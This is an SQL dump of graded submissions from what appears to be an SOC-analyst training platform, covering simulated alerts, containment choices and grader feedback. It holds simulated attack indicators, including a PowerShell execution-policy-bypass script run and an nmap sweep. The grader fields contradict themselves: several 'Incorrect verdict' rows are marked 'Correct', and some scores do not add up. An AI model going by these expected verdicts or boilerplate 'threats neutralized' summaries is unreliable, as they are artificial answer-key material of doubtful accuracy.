(435, 225, 1388, 'graded', 60, 'Incorrect verdict. Expected false_positive, got true_positive. All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.101\",\"ip-192.168.2.25\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 10:44:57 PM\\nALERT: Suspicious Login Activity\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.101\\n- [IP] 192.168.2.25\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T11:44:59.588Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Incorrect verdict. Expected false_positive, got true_positive. All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', '2026-03-07 14:54:02', '2026-03-07 11:44:02', '2026-03-07 11:44:59', 0, NULL),
(436, 225, 1381, 'graded', 100, 'Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.20\",\"ip-203.0.113.95\",\"hash-d41d8cd9\"],\"selectedActions\":[\"block_ip\",\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 10:45:59 PM\\nALERT: Suspicious File Downloaded from Public IP\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.20\\n- [IP] 203.0.113.95\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T11:46:07.596Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-07 14:51:12', '2026-03-07 11:45:12', '2026-03-07 11:46:07', 0, NULL),
(437, 225, 601, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-45.67.89.123\",\"ip-192.168.1.10\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 10:50:23 PM\\nALERT: Brute Force Attack Detected on Corporate Server\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 45.67.89.123\\n- [IP] 192.168.1.10\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T11:50:25.321Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-07 14:59:36', '2026-03-07 11:49:36', '2026-03-07 11:50:25', 0, NULL),
(438, 225, 217, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 10:54:07 PM\\nALERT: Suspicious Remote Login Attempt Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [USERNAME] NotAvailable\\n- [USERNAME] Guest\\n- [USERNAME] LOCAL\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T11:54:10.051Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/2)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', '2026-03-07 15:00:33', '2026-03-07 11:52:33', '2026-03-07 11:54:10', 0, NULL),
(439, 225, 1266, 'graded', 85, 'Verdict is correct (+40). Missed critical artifacts: command nmap -sP 192.168.3.0/24 (1/2). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.3.45\",\"ip-192.168.3.1\",\"cmd-1\"],\"selectedActions\":[\"collect_forensics\",\"isolate_host\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 10:57:36 PM\\nALERT: Internal Reconnaissance Detected via Network Scanning\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.3.45\\n- [IP] 192.168.3.1\\n- [COMMAND] nmap -sP 192.168.3.0/24\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Reset Credentials\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T11:57:45.017Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts: command nmap -sP 192.168.3.0/24 (1/2). Response actions correct (+30)\",\"missed_items\":[\"command: nmap -sP 192.168.3.0/24\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-07 11:55:22', '2026-03-07 11:57:45', 0, NULL),
(440, 232, 270, 'graded', 60, 'Incorrect verdict. Expected True Positive, got false_positive. All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"escalate\",\"reset_credentials\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 7:21:12 PM\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T13:51:15.649Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Incorrect verdict. Expected True Positive, got false_positive. All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', NULL, '2026-03-07 12:57:07', '2026-03-07 13:51:15', 0, NULL),
(441, 232, 271, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-10.0.0.5\",\"hash-5f4dcc3b\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 7:23:25 PM\\nALERT: Lateral Movement to OT Network [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.101\\n- [IP] 10.0.0.5\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [USERNAME] jdoe\\n- [IP] 203.0.113.55\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T13:53:28.023Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"reset_credentials\",\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-07 13:51:15', '2026-03-07 13:53:28', 0, NULL),
(442, 232, 272, 'graded', 95, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (5/6)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.20\",\"hash-5d41402a\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"reset_credentials\",\"block_ip\",\"block_hash\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 7:26:18 PM\\nALERT: SCADA System Compromise [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.20\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [IP] 203.0.113.45\\n- [FILENAME] malicious_script.sh\\n- [USERNAME] unauthorized_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T13:56:20.232Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (5/6)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-07 13:53:28', '2026-03-07 13:56:20', 0, NULL),
(443, 232, 274, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-07 13:57:28', '2026-03-07 13:57:28', 0, NULL),
(444, 259, 581, 'graded', 93, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.101\",\"hash-5f4dcc3b5aa765d61d8327deb882cf99,098f6bcd4621d373cade4e832627b4f6,e99a18c428cb38d5f260853678922e03\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 07/03/2026, 20:26:55\\nALERT: Anomalous File Access Patterns [OP: Operation Credit Bureau]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.101\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99,098f6bcd4621d373cade4e832627b4f6,e99a18c428cb38d5f260853678922e03\\n- [FILENAME] /finance/2023_budgets.xlsx\\n- [FILENAME] /hr/employee_records.docx\\n- [FILENAME] /legal/contracts/nda.pdf\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T19:27:45.306Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', '2026-03-07 22:27:57', '2026-03-07 19:22:57', '2026-03-07 19:27:45', 0, NULL),
(447, 189, 319, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.5\",\"ip-192.168.1.45\",\"domain-http://malic\",\"artifact_1\",\"artifact_2\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 3:48:53 AM\\nALERT: Suspicious Email Detected [OP: Operation Silent Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 203.0.113.5\\n- [IP] 192.168.1.45\\n- [DOMAIN] http://maliciousdomain.com/login\\n- [EMAIL] attacker@maliciousdomain.com\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [FILENAME] Invoice_2023.pdf\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-03-09T02:49:06.880Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-08 22:12:30', '2026-03-09 02:49:06', 0, NULL),
(448, 225, 1373, 'graded', 85, 'Verdict is correct (+40). Missed critical artifacts: command C:\\Windows\\System32\\cmd.exe /c malicious.exe (1/2). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"hash-e3b0c442\",\"cmd-1\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 1:32:54 PM\\nALERT: Malware Detected via Suspicious Process Execution\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.100\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [COMMAND] C:\\\\Windows\\\\System32\\\\cmd.exe /c malicious.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T02:32:56.225Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts: command C:\\\\Windows\\\\System32\\\\cmd.exe /c malicious.exe (1/2). Response actions correct (+30)\",\"missed_items\":[\"command: C:\\\\Windows\\\\System32\\\\cmd.exe /c malicious.exe\"],\"strengths\":\"Solid analysis\"}', '2026-03-09 05:11:11', '2026-03-09 02:04:11', '2026-03-09 02:32:56', 0, NULL),
(449, 225, 641, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.112\",\"ip-10.0.0.10\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 1:34:08 PM\\nALERT: Unauthorized Access Attempt on Admin Account\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.112\\n- [IP] 10.0.0.10\\n- [USERNAME] admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T02:34:11.274Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 05:42:21', '2026-03-09 02:33:21', '2026-03-09 02:34:11', 0, NULL),
(450, 225, 1384, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.200\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 1:35:14 PM\\nALERT: Unauthorized Admin Login Attempt\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 203.0.113.200\\n- [USERNAME] admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T02:38:05.847Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 05:44:26', '2026-03-09 02:34:26', '2026-03-09 02:38:05', 0, NULL),
(451, 225, 1382, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.55\",\"ip-203.0.113.85\",\"domain-malicious-cr\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 1:42:01 PM\\nALERT: Credential Harvesting Attempt via Phishing Site\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.55\\n- [IP] 203.0.113.85\\n- [DOMAIN] malicious-credentials.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Collect Forensics\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T02:42:09.236Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 05:49:43', '2026-03-09 02:40:43', '2026-03-09 02:42:09', 0, NULL),
(452, 225, 1393, 'graded', 70, 'Verdict is correct (+40). Missed critical artifacts: command powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"Write-Host \'Hello World\'\" (0/1). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.6.15\",\"cmd-1\",\"artifact_3\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 1:43:31 PM\\nALERT: Suspicious Command Execution on Workstation\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.6.15\\n- [COMMAND] powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\"Write-Host \'Hello World\'\\\"\\n- [USERNAME] klee\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T02:43:36.835Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts: command powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\"Write-Host \'Hello World\'\\\" (0/1). Response actions correct (+30)\",\"missed_items\":[\"command: powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\"Write-Host \'Hello World\'\\\"\"],\"strengths\":\"Needs improvement\"}', '2026-03-09 05:49:21', '2026-03-09 02:42:21', '2026-03-09 02:43:36', 0, NULL),
(453, 225, 1391, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.4.10\",\"ip-93.184.216.34\",\"artifact_3\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 1:45:25 PM\\nALERT: Unusual Network Connection to External IP\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.4.10\\n- [IP] 93.184.216.34\\n- [USERNAME] psmith\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T02:45:30.995Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 05:54:14', '2026-03-09 02:44:14', '2026-03-09 02:45:30', 0, NULL),
(454, 225, 643, 'graded', 60, 'Incorrect verdict. Expected false_positive, got benign. Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.50\",\"ip-10.0.0.15\",\"artifact_2\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"benign\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 1:46:57 PM\\nALERT: False Positive: User Access from Known Location\\nVERDICT: BENIGN\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 198.51.100.50\\n- [IP] 10.0.0.15\\n- [USERNAME] mike\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T02:47:02.798Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Incorrect verdict. Expected false_positive, got benign. Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', '2026-03-09 05:54:39', '2026-03-09 02:45:39', '2026-03-09 02:47:02', 0, NULL),
(455, 189, 320, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.57\",\"ip-10.0.0.45\",\"hash-b1946ac9\",\"cmd-1\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 3:51:01 AM\\nALERT: Unauthorized Application Execution [OP: Operation Silent Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.57\\n- [IP] 10.0.0.45\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [COMMAND] powershell.exe -ExecutionPolicy Bypass -File C:\\\\Temp\\\\malicious_script.ps1\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-03-09T02:51:16.367Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 02:49:06', '2026-03-09 02:51:16', 0, NULL),
(456, 189, 321, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.2.15\",\"hash-5d41402a\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 3:54:12 AM\\nALERT: Persistence Mechanism Installed [OP: Operation Silent Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.2.15\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [FILENAME] C:\\\\Windows\\\\System32\\\\Tasks\\\\ScheduledTaskMalware\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-03-09T02:54:27.135Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 02:51:16', '2026-03-09 02:54:27', 0, NULL),
